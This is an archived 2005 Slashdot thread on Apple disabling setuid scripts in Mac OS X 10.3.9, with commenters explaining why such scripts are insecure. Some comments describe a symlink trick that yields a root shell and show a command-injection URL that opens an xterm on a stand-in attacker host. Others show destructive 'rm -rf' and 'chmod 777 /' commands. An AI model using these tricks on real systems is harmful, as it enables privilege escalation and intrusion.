Slashdot is powered by your submissions, so send in your scoop

 


Forgot your password?
Close
typodupeerror
×
Security Businesses OS X Operating Systems Apple

It's not a Feature, It's a Vulnerability! 180

Posted by timothy from the proactivation dept.
pmeunier writes "Apple's security stance is stunning. In the latest (10.3.9) update, Apple removed two capabilities because they pose security risks. One of them is the capability to run setuid and setguid scripts (the other was actually unused). Can other commercial OS vendors (how many are there :) adopt a similar stance? Will you be inconvenienced by the inability to run setuid scripts on MacOS X? Which other features/capabilities (in any OS) would you like to have removed?"
This discussion has been archived. No new comments can be posted.

It's not a Feature, It's a Vulnerability! More

It's not a Feature, It's a Vulnerability!

Comments Filter:

  • Stunning? (Score:3, Insightful)

    by Golias ( 176380 ) on Monday April 18, 2005 @01:58PM (#12272382)
    I guess I missed what was "stunning" about this.

    • Re:Stunning? (Score:5, Informative)

      by soyle ( 196995 ) <soyle AT soyle DOT org> on Monday April 18, 2005 @02:05PM (#12272484) Homepage

      I guess I missed what was "stunning" about this.


      Especially since IBM's AIX hasn't allowed SUID scripts since version 3.5.something...

      • The problem with suid scripts (Score:5, Informative)

        by wirelessbuzzers ( 552513 ) on Monday April 18, 2005 @05:09PM (#12274965)
        Here's why IBM hasn't allowed them for ages.

        The problem with suid scripts is the mechanism for implementing scripts. Essentially, a script is an executable beginning with
        #!/path/to/interpreter arg
        (arg is often left blank). When you run it,
        scriptname arg1 arg2 arg3
        is translated by the kernel to
        /path/to/interpreter arg scriptname arg1 arg2 arg3
        which is then executed. If the script is setuid, then logically the interpreter should be setuid.

        Suppose then that you have a bash script /usr/local/bin/foo which is setuid root. If I create a symlink to it at /tmp/-i and set my path to include ".", then I can invoke it from tmp as "-i". The kernel translates this to
        /bin/bash -i
        run setuid root, which is a root login shell. D'oh.

        Linux fixes this (if you turn on setuid scripts) with the /dev/fd/n system, that is, it opens the script as file descriptor 3 (say), and runs
        /bin/bash /dev/fd/3
        Still, this is a hack, and setuid scripts are bad for other reasons (environment poisoning, ...).
        • When have you ever seen a shell script without an invocation line?

          Never.

          If it was such a problem, why not make the shell disallow execution of scripts without an explicit invocation line?
        • It seems to me that this is kind of a bizarre solution. Why not simply pass the full path to the file to the shell as a single argument? bash "/tmp/-i" would certainly behave as expected.

        • I tried making a bash script called -i in /tmp and it executed as expected on OS X 10.3.9. The same when I symlinked -i to another script.

          Here's my script:

          #!/bin/bash
          echo Hello

          Here's my execution:

          chappi:/tmp joel$ -i
          Hello

    • Re:Stunning? (Score:5, Funny)

      by 0x461FAB0BD7D2 ( 812236 ) on Monday April 18, 2005 @02:06PM (#12272497) Journal
      If it's broken, it should be fixed, not thrown away.

      Imagine if Microsoft just removed IE because of all the security problems....wait. Let me re-think my position on this.

      • Re:Stunning? (Score:3, Informative)

        by Anonymous Coward
        SUID/SGID works exactly as designed, it's inherently flawed by design, that is the problem.
      • If it can't be fixed immediately, I see no problem with disabling it while a fix is worked on.

        • Re:Stunning? (Score:2, Informative)

          by Anonymous Coward
          You still don't get it. The problem is not that it is broken. The problem is that it works.

          The correct "fix" is removal. Is there any way to make that more clear?
    • >I guess I missed what was "stunning" about this.

      Agreed. I was working on Solaris about five years ago and it didn't allow setuid root scripts.

  • Weight the trade off (Score:4, Insightful)

    by amichalo ( 132545 ) on Monday April 18, 2005 @01:59PM (#12272405)
    It's all about looking at the trade off of system security vs. robustness. I don't know about SetUserID but if it makes my Mac less secure and doesn't allow my applications to do anything I need them to then shut 'er off.

    The OS is already built with abilities to SUDO applications so perhaps Apple will figure out a more secure way of implementing the SetUserID feature so as not to create a vulerability. If they have to have it, then it probably needs to a an Admin level tool anyway.

    • Re:Weight the trade off (Score:5, Informative)

      by Creepy ( 93888 ) on Monday April 18, 2005 @03:52PM (#12274010) Journal
      First, this is about scripts, not setuid - if it removed setuid or setgid you wouldn't be able to sudo, since that is a setuid program.

      Second, perl (a scripting language) has really led the way here - perl has not allowed for running of setuid and setgid in scripts for a long time.

      Third, if you really need setuid and setgid to run your script, you can create a C wrapper for it. Yes, it's a pain, but it really emphasizes that you really know what you're doing. I remember seeing stuff like (fake URL) http://www.idioticmoron.org?command="runme.sh", which a smart hacker would see and convert to http://www.idioticmoron.org?command="runme.sh;env% 20DISPLAY=mycomputer.hacker.net:0.0%20xterm%20-sb% 20-sl10000" and have the cgi user's access (usually root) to your system with a convenient xterm (providing the machine is allowed as an xhost).

      What is setuid and setgid? It runs the program as the owner (or group) of the program instead of the executor (the group ID is so the owner can run it with one set of permissions and the group a different set). In this way, you can have something like a counter that can be run by anyone but writes to a file that only that user can write to. To create such a file, you'd do something like chmod 4711 test.sh (setuid) or chmod 2711 test.sh (setgid). Since test.sh is a script (a shell script to be particular), this shouldn't be allowed now. A C program can call setuid and setgid internally, if it has permissions to (say, is running as root), so it can change the executor to the desired user or group and then run the script.

      • Re:Weight the trade off (Score:3, Informative)

        by Creepy ( 93888 )
        correction - perl doesn't allow running setuid or setgid when running as root (what most people use it for, anyway). You can setuid and setgid as other users, though only setgid is really useful, as far as I can tell.

        not being able to run setuid or setgid as root means you can only hack the exploited user or group, not the entire OS.

  • Personally... (Score:2, Insightful)

    by mooniejohnson ( 319145 )
    Personally, this doesn't affect me, but I see it as a reasonably smart move. Really, the only 100% effective way to seal a vulnerability is to take away whatever caused vulnerability in the first place. I'm sure there's a workaround so you still have the same functionality with some other, more secure, method.

    Then again, I've never used this, I have no idea what I'm talking about, and I'm just exercising my Slashdot right to be opinionated!

  • no suid (Score:3, Insightful)

    by ignorant_newbie ( 104175 ) on Monday April 18, 2005 @02:01PM (#12272433) Homepage
    hmm.... while setuid is often used as a bad hack to avoid learning proper programming methodology ( like priv sep ) I'm not sure i like that they've taken it away completly. I prefer freebsd's approach ( but then... how often is that not true ? ) of making you mount the file system with a 'setuid' flag before you can run setuid scripts on it. since most apple users will never touch fstab ( or whatever their xml equiv is ) this would be a better approach.

  • Please remove these ... (Score:4, Interesting)

    by EnronHaliburton2004 ( 815366 ) * on Monday April 18, 2005 @02:03PM (#12272450) Homepage Journal
    Personally, I have had it with scripts which do dumb things as root, such as:
    bar='' ### Mysteriously null! !@#!@%
    FOO=/$bar
    rm -rf $FOO
    Or even something similar like this 'The engineer doesn't understand permissions' script:
    chmod -R 777 /
    Could you please remove those?

    Thank god for applications like Netapp, which keep a readily availble copy of most directories in '$PWD/.snapshot . This has saved my ass a dozen times...

  • Derrrrrr.... (Score:4, Interesting)

    by JHromadka ( 88188 ) on Monday April 18, 2005 @02:04PM (#12272466) Homepage
    Um, how about an explanation on what setuid and setguid actually does first, and then I'll tell you if I'm stunned.

    • Re:Derrrrrr.... (Score:3, Informative)

      by Anonymous Coward
      It lets the program/application/script run as owner (setuid) of the file, or as the group (setguid). So you could have a program owned by root, and when it gets executed it runs as root, rather than being run as whoever executed it.

    • Re:Derrrrrr.... (Score:5, Informative)

      by mmkkbb ( 816035 ) on Monday April 18, 2005 @02:14PM (#12272604) Homepage Journal
      they are pretty self-explanatory for user commands.

      if the setuid bit on a file is set, then any execution of that file is done with the privileges the file's owner (or group in the case of setguid).

      for example:

      $ chmod 4754 foo.sh
      $ ls -l foo.sh
      -rwsr-xr-- 1 root foousers 17 Apr 18 15:11 foo.sh

      Now anyone in wheel can run foo.sh with root privileges.

      $ chmod 2755 foo.sh
      $ ls -l foo.sh
      -rwxr-sr-x 1 root foousers 0 Apr 18 15:11 foo.sh

      Now anyone on the system can run foousers with the privileges of a foousers member.

      • Re:Derrrrrr.... (Score:4, Insightful)

        by EnronHaliburton2004 ( 815366 ) * on Monday April 18, 2005 @03:04PM (#12273277) Homepage Journal
        Now as an added bonus, look in your /bin directory and tell us which scripts have suid turned on. Now look for the suid bit on every file in your filesystem.

        It won't be very easy to find the programs without a 'find' command.

        Note that the only difference between a regular file and an suid-bit file is a teeny one-bit change-- there's an 's' instead of an 'x' or '-'. It's hard to see, and many people don't know it is when they see it.

        Is that the sort of 'needle in a haystack' obsfucation that introduces all sorts of security issues.

        • Re:Derrrrrr.... (Score:3, Informative)

          by justMichael ( 606509 )

          Now as an added bonus, look in your /bin directory and tell us which scripts have suid turned on. Now look for the suid bit on every file in your filesystem.

          It won't be very easy to find the programs without a 'find' command.

          Considering that it's OS X we are talking about, find is already there.

          sudo find / -perm -6000 -ls

          Will give you your list, not sure how many actually show up, I'll have to check when I get back in front of a Mac.

  • Answers (Score:5, Informative)

    by hab136 ( 30884 ) on Monday April 18, 2005 @02:06PM (#12272494) Journal
    Can other commercial OS vendors (how many are there :) adopt a similar stance?

    It'd be nice.

    Will you be inconvenienced by the inability to run setuid scripts on MacOS X?

    Not at all. SUID scripts are a huge hole. See What security problems exist with SUID scripts and programs? [tech-faq.com] for an example. SUID scripts are usually created by lazy people who can't be bothered to figure out permissions.

    Which other features/capabilities (in any OS) would you like to have removed?

    I'd like to see the instant-flamewar generator removed.

    • Re:Answers (Score:4, Funny)

      by fm6 ( 162816 ) on Monday April 18, 2005 @03:06PM (#12273304) Homepage Journal
      It'd be nice.
      Hey, Microsoft is very active in hunting down and removing insecure features. Maybe not as active as they are in creating them....
    • "There are many methods which have been used to gain root priveledges from a Unix SUID (Set User ID) script or program." -- What Security problems... [tech-faq.com]

      SETUID != SETUID ROOT

      Badly used setuid is a nightmare.
      Properly used it's paradise.
    • Any setuid program that uses GTK2 as its toolkit will exhibit the same behaviour also - It will not run. See http://www.gtk.org/setuid.html

      Also, IIRC (and FWIW), if you run Windows as a normal user, Windows won't allow you to run a program as Administrator, unless you supply credentials.

  • including the function was a mistake. (Score:5, Informative)

    by Malor ( 3658 ) on Monday April 18, 2005 @02:13PM (#12272585) Journal
    The functionality was a mistake to include in the first place. I don't remember precisely WHY this is, but I have read that it is simply impossible to make a secure SUID/SGID script in any current flavor of Unix.

    Taking it out will undoubtedly inconvenience some folks, but it's sort of like being given a power tool without some critical piece of safety gear. Apple has, in essence, forced you to install that gear on your power tool, like it or not. If it inconveniences you, then you weren't using the tool safely to begin with.

    From what I understand, it's usually better to use sudo for this anyway... you can set up sudo so that it will only allow you to execute a particular program or set of programs. The sudoers file is more than slightly cryptic, and it's a bit more typing (both "sudo" and possibly the user password), but this will give you much better safety.

    If you just absolutely can't stand doing it that way, then write your script in perl or C and SUID that version. Note that it takes special care in both instances... SUID programs are dangerous, and if someone cracks a user account on your system, that's going to be one of the first things they'll look at to try to get root. Don't just toss something together, go look up how to do it safely. (short form: don't trust your environment, don't trust user input). Perl has some special functions just for this purpose, so be sure to read its documentation carefully.

  • speaking of suid vulnerabilities (Score:4, Interesting)

    by baryon351 ( 626717 ) on Monday April 18, 2005 @02:15PM (#12272618)
    Speaking of suid vulnerabilities, http://www.frsirt.com/exploits/20050123.fm-iSink.c .php [frsirt.com] is an exploit of the mrouter hole (an overflowable suid app in iSync) which allows local root access. Exploited in January, still unfixed in April.

    Severity of course depends on how your system is used.

    • Fixed in Security Update 2005-004; or at least the description of the fix includes text concerning mRouter and iSync.

      Apparently, posting the vuln on /. got someone's attention. Too bad it took that, though.

  • Hardly (Score:2)

    by MSG ( 12810 )
    The only thing that surprises me about that item is that SUID scripts were allowed until now. Most Unix systems don't allow SUID scripts, AFAIK.
    • From TFA, it appears they inherited this from BSD without noticing, have just noticed, and immediately disabled it.

  • Linux doesn't allow it either (Score:3, Informative)

    by Überhund ( 27591 ) on Monday April 18, 2005 @02:35PM (#12272870)
    Most (all?) Linux distros don't all this, either. Not sure where this happens, if it's bash or something deeper.

    If you want to play, try making a script owned by root, which modifies something a normal user can't. Set it SUID (chmod u+s filename). Run it as a normal user. Shouldn't work (except on older OS/X).

    Now, try setting vi or a copy of it SUID. (Again, make sure root owns it, and "chmod u+s filename".) Now run it as a normal user, and, say, edit your /etc/shadow. You shouldn't have any troubles doing so.

    Now that you're done, get rid of those suid files so nobody else uses them.

  • Solaris already blocks SetUID shell scripts... (Score:3, Informative)

    by Anonymous Coward on Monday April 18, 2005 @02:57PM (#12273191)
    ...unless you build your own shell from source.

    seems like a "good thing" to me.

  • This is a smart move by Apple (Score:5, Funny)

    by commodoresloat ( 172735 ) on Monday April 18, 2005 @03:19PM (#12273493)
    And, since they did this, everything feels snappier!
  • NTFS allows you to store data both in foo.txt and foo.txt:evil, and only foo.txt will be visible in a directory listing. In fact, almost none of the tools that come with the system can see :evil. More info and examples from the nice folks at SysInternals [sysinternals.com]. Spyware creators use this extensively. When you see a registry entries pointing to C:\WINNT\System32:xyzzy.dll, it's time to format and reinstall. I know there are other stupid, half-implimented features in NTFS but I can't think of what they are at the mo
    • Streams are actually a nice feature. The fact that the operating system doesn't provide adequate tools to deal with them is a separate issue.
      • They are in fact such a nice feature that we have "directories" or "folders" instead.

        I think the NTFS guru that came up with this intended them to be used in ways that we in the UNIX world use directories. See OS X's .app and .package concept, or good old Maildir.

        The article asked for features that should be removed. I can't imagine any legitimate reason to keep this half-baked idea around.
        • I've always looked at them as a generalization of OS/2's extended attributes or Mac OS's resource fork. Why should files be limited to a linear stream of bytes, with any attributes or metadata stored in the parent directory?
        • I think the NTFS guru that came up with this intended them to be used in ways that we in the UNIX world use directories. See OS X's .app and .package concept, or good old Maildir.

          No, they intended them to be used for storing metadata about the file so it could be indexed for searching purposes (like BeOS/BFS did).

          This is why WinFS is such a silly idea. Instead of using the inherent, built-in features of the OS's native filesystem that hav been around for nigh-on 15 years now, Microsoft are instead adding

          • Hadn't thought of that. I sure wish Microsoft had gone somewhere with that. Did you ever notice how many other columns are available (but never populated) in Explorer's Details view?
          • No, they intended them to be used for storing metadata about the file so it could be indexed for searching purposes (like BeOS/BFS did).

            Or like the Macintosh resource fork.

            Or like the elements in OS/1100 files, though they ended up being used the way files are in other operating systems, with the files themselves treated like directories.

            The thing is, unless you can get all operating systems and applications to handle, preserve, and interconvert these objects, they're more trouble than they're worth. Yo
  • Which other features/capabilities (in any OS) would you like to have removed?"

    How about fixing the system call mechanism so that you can't use a non-null byte to make system calls from shell code? The problem (PDF) [phathookups.com] has been known for a couple of years now. While it won't eliminate buffer overflow shellcode, it will make it a lot harder to write shellcode for OS X.

    • That's a problem with the cpu. While you could check the originating syscall instruction in the kernel, it's mostly a tiny inconvenience for the hacker, and won't really help much. Fixing the cpu would help a little, because cache problems would then kick in, but I have some sample code that avoids that problem to.
    • I read through the shellcode example article again (thanks for the link by the way, I was going to look it up again for another project anyway), and I don't see how this is a problem that can really be solved, at least not by Apple.

      There is always more than one way to get basically any value you might want loaded into the proper registers. Once the registers are loaded, there's a single instruction that's used to initiate a system call, the "sc" instruction.

      The opcode for "sc" ALREADY includes two embedde
      • I heard that G5s do object to having those NULs filled in. I don't own one to test it personally, though.

        If so,it'd be nice. Those bits are reserved, but that doesn't mean that they should be unchecked.
  • TANJ, man, setuid scripts didn't even exist as a concept for most of UNIX lifetime, because scripts were run by the shell... not directly by the kernel: every program out there did something like:
    if ( (pid = fork()) == 0 ) {
    execl(program, program, filename, NULL);
    /* exec failed, try it as a script */
    execl("/bin/sh", "sh", program, filename, NULL);
    /* panic! No shell! */
    perror("/bin/sh");
    exit(-1);
    }
    ...
    Obviously in this scenario, since /bin/sh isn't setuid, setuid scripts won't work. Until they came up with the "#!" hack in the '80s there wasn't even a mechanism by which setuid scripts could be implemented.

    It didn't take long before it was obvious that setuid scripts were a REALLY bad idea, and they've been backed out of one UNIX version after another. this isn't a matter of redefining a feature as a bug, it's a matter of asking "what took you so long?"...

    Whoever approved this story should be ashamed of themselves. There's more than enough REAL news that matters...
  • Which other features/capabilities (in any OS) would you like to have removed?

    Macros.

  • Something to think about is that anyone with root (on a Unix-esque system) can make a system insecure. This doesn't just apply to Unix, however. Anyone with super-user access to a system can demolish the security of any operating system, however. There are just too many things that can be done to leave nearly any system wide open.

    There are also more than a few reasons to intentionally make a system insecure. Perhaps the system is part of a trusted network, with limited physical access. In that case,

    • Re:Rammed down our throats? (Score:5, Informative)

      by greed ( 112493 ) on Monday April 18, 2005 @04:54PM (#12274788)
      Like I said, removing SUID/SGID scripts is probably a good thing, but I definitely want developers to be as cautious as possible in how they remove features. Perhaps rather than completely removing certain features, they should be disabled by default.

      Disallowing SUID/SGID scripts is industry standard in UNIX-land. Not that "everyone else does it" is a good justification on its own. But, in this case "everyone else had a reason".

      You can easily run a script as any ID you desire via sudo, provided with the system. As Apple states, none of their software uses SUID/SGID scripts. And I very much doubt any 3rd-party software does also. It is just such a universally unavailable feature, no UNIX programmer would think to even try it these days.

      • As Apple states, none of their software uses SUID/SGID scripts. And I very much doubt any 3rd-party software does also.

        Unfortunately this example from a vendor with 3.4 billion dollars US [slashdot.org] to spare shows this is not quite true:

        % file /Applications/Adobe\ Version\ Cue/*.sh
        /Applications/Adobe Version Cue/productname.sh: empty
        /Applications/Adobe Version Cue/startserver.sh: setuid a /bin/sh script text executable
        /Applications/Adobe Version Cue/stopserver.sh: setuid a /bin/sh script text executable

  • Is IE really a feature? (Score:4, Funny)

    by theraccoon ( 592935 ) on Monday April 18, 2005 @04:22PM (#12274413) Journal
    Which other features/capabilities (in any OS) would you like to have removed?

    Internet Explorer.

  • Answers : yes, no, where to start? (Score:4, Insightful)

    by javaxman ( 705658 ) on Monday April 18, 2005 @05:08PM (#12274961) Journal
    Can other commercial OS vendors (how many are there :) adopt a similar stance?

    they do, clearly. There are just too many examples of features dropped between releases of operating systems to pick only one.

    Will you be inconvenienced by the inability to run setuid scripts on MacOS X?

    no. It was a mistake that the feature was ever included. You should SUID/SGID binaries, not text files or anything else. Scripts are not binaries.

    Which other features/capabilities (in any OS) would you like to have removed?

    Can I vote for eliminating the ability of any OS to create annoying, non-standards-supporting web pages that use too much Flash and/or Javascript ? Can I prevent any OS from sending out spam email ? Can I remove the ability of a compiled application to crash the machine? No? Too bad. In any given system, there are a lot of features that aren't really needed and can be either a source of confusion or a source of problems. Most of these shouldn't be in the OS layer, and ( like the SUID issue ) should be tightened up if they are in that layer.

    Fundamentally, though, the SUID/SGID thing referenced in the story is a non-issue. If I have console access, typing "sudo" and a password isn't even an inconvenience. It's already been pointed out that this feature has already been removed from almost every other major Un*x variant, including Linux.

  • Apple did not remove SUID/SGID on scripts (Score:5, Insightful)

    by Cmdr TECO ( 579177 ) on Monday April 18, 2005 @07:45PM (#12276712)
    Apple added a kernel switch for suid/sgid on scripts, and leave it off by default. If you want suid/sgid scripts on your system, enable them. If you don't think this comment has given you enough information to enable them, you shouldn't be running suid/sgid scripts.

  • You asked for it.... (Score:3, Funny)

    by the eric conspiracy ( 20178 ) on Monday April 18, 2005 @07:45PM (#12276716)
    Which other features/capabilities (in any OS) would you like to have removed?"

    Windows, all flavors, TCP/IP.

  • Remember when Microsoft removed gopher support from IE instead of fixing a security vulnerability in it?
  • Apple's security stance is stunning.

    Interesting. I don't recall praising MS for stunning security stance when they decided to deliberately break some functionality for the sake of security with the release WinXP SP2. Funny thing, it was spun a bit differently, IIRC...

    Can other commercial OS vendors (how many are there :) adopt a similar stance?

    Indeed they should. So we can bash or praise them for it, depending on wether they are MS or not. :-)
  • The Script I have that loads/unloads the Insomnia Kernel Extension [binaervarianz.de] ran SUID. I'd been wondering what broke it, and now that I know, I'm going to have to dig through man sudoers to get it to be run via sudo w/o a password (I usually run it from the scripts menu.)

    I guess you could say that I'm effected by this, but I'll get over it. Sudo should be able to adapt, or else I'll just run the script from the command line.
  • For those of us who aren't *nix gurus, can someone provide a description of what these scripts do?

Slashdot Top Deals

"The whole problem with the world is that fools and fanatics are always so certain of themselves, but wiser people so full of doubts." -- Bertrand Russell

Close